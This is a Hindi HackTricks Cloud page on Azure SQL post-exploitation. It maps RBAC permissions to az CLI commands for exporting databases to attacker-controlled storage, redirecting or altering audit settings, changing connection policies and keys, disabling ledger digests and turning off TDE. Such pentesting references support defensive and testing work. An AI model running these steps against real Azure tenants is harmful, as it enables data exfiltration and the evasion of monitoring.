Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md

13 KiB

Az - SQL Database Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

SQL Database Post Exploitation

SQL Database के बारे में अधिक जानकारी के लिए देखें:

{{#ref}} ../az-services/az-sql.md {{#endref}}

Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write

इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में डेटाबेस बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, जिससे संचालन में बाधा आ सकती है या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम किया जा सकता है।

# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

इन अनुमतियों के साथ (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write) आप एक हटाई गई डेटाबेस को पुनर्स्थापित कर सकते हैं:

az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read

इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में elasticPools बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, जो संभावित रूप से संचालन को बाधित कर सकती है या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम कर सकती है।

# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write

इस अनुमति के साथ, आप Azure SQL Server पर ऑडिटिंग सेटिंग्स को संशोधित या सक्षम कर सकते हैं। यह एक हमलावर या अधिकृत उपयोगकर्ता को ऑडिट कॉन्फ़िगरेशन में हेरफेर करने की अनुमति दे सकता है, संभावित रूप से ट्रैक को कवर करने या ऑडिट लॉग को उनके नियंत्रण में किसी स्थान पर पुनर्निर्देशित करने की अनुमति दे सकता है। यह सुरक्षा निगरानी में बाधा डाल सकता है या इसे क्रियाओं का ट्रैक रखने में सक्षम बना सकता है। नोट: Blob Storage का उपयोग करके Azure SQL Server के लिए ऑडिटिंग सक्षम करने के लिए, आपको एक स्टोरेज खाता संलग्न करना होगा जहाँ ऑडिट लॉग को सहेजा जा सके।

az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write

इस अनुमति के साथ, आप Azure SQL Server की कनेक्शन नीतियों को संशोधित कर सकते हैं। इस क्षमता का उपयोग सर्वर-स्तरीय कनेक्शन सेटिंग्स को सक्षम या बदलने के लिए किया जा सकता है।

az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

Microsoft.Sql/servers/databases/export/action

इस अनुमति के साथ, आप Azure SQL Server से एक डेटाबेस को एक स्टोरेज अकाउंट में निर्यात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, वह डेटाबेस से संवेदनशील डेटा को एक ऐसी जगह पर निर्यात करके निकाल सकता है जिसे वह नियंत्रित करता है, जिससे डेटा लीक का एक महत्वपूर्ण जोखिम उत्पन्न होता है। इसे करने के लिए स्टोरेज कुंजी जानना महत्वपूर्ण है।

az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

Microsoft.Sql/servers/databases/import/action

इस अनुमति के साथ, आप Azure SQL Server में एक डेटाबेस आयात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, संभावित रूप से दुर्भावनापूर्ण या हेरफेर किए गए डेटाबेस अपलोड कर सकता है। इससे संवेदनशील डेटा पर नियंत्रण प्राप्त करने या आयातित डेटाबेस के भीतर हानिकारक स्क्रिप्ट या ट्रिगर्स को एम्बेड करने की संभावना हो सकती है। इसके अतिरिक्त, आप इसे अपने स्वयं के सर्वर में Azure में आयात कर सकते हैं। नोट: सर्वर को Azure सेवाओं और संसाधनों को सर्वर तक पहुंचने की अनुमति देनी चाहिए।

az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`

Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read

इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वर की कनेक्शन नीतियों को संशोधित और प्राप्त कर सकता है। ये अनुमतियाँ किसी को सर्वर से कनेक्ट करने के तरीके को बदलने की अनुमति देती हैं—जैसे कि रीडायरेक्ट या प्रॉक्सी के बीच चयन करना—जिसका दुरुपयोग सुरक्षा को कमजोर करने, ट्रैफ़िक को रीडायरेक्ट करने, या संवेदनशील डेटा को इंटरसेप्ट करने के लिए किया जा सकता है यदि इसे गलत तरीके से कॉन्फ़िगर किया गया हो।

az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>

Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read

इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL Server से जुड़े एन्क्रिप्शन कुंजियों को अपडेट और पुनर्प्राप्त कर सकता है। ये कुंजियाँ अक्सर एन्क्रिप्शन के माध्यम से संवेदनशील डेटा को सुरक्षित करने के लिए उपयोग की जाती हैं, इसलिए इन्हें संशोधित करना डेटा सुरक्षा को खतरे में डाल सकता है, जिससे अनधिकृत डिक्रिप्शन या कुंजी रोटेशन परिवर्तनों की अनुमति मिल सकती है।

az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef

Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read

यह अनुमति Azure SQL Database के लिए Ledger Digest को निष्क्रिय करने की अनुमति देती है, जो डेटा की अखंडता की पुष्टि करने वाले क्रिप्टोग्राफिक डाइजेस्ट रिकॉर्ड को Azure Blob Storage में आवधिक रूप से अपलोड करने को रोकती है।

az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server

Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read

यह अनुमति एक अधिकृत उपयोगकर्ता या हमलावर को Azure SQL डेटाबेस पर Transparent Data Encryption (TDE) सेटिंग्स को सक्षम, अक्षम या संशोधित करने की अनुमति देती है, जो एन्क्रिप्शन कॉन्फ़िगरेशन को बदलकर डेटा सुरक्षा को प्रभावित कर सकती है।

az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>

{{#include ../../../banners/hacktricks-training.md}}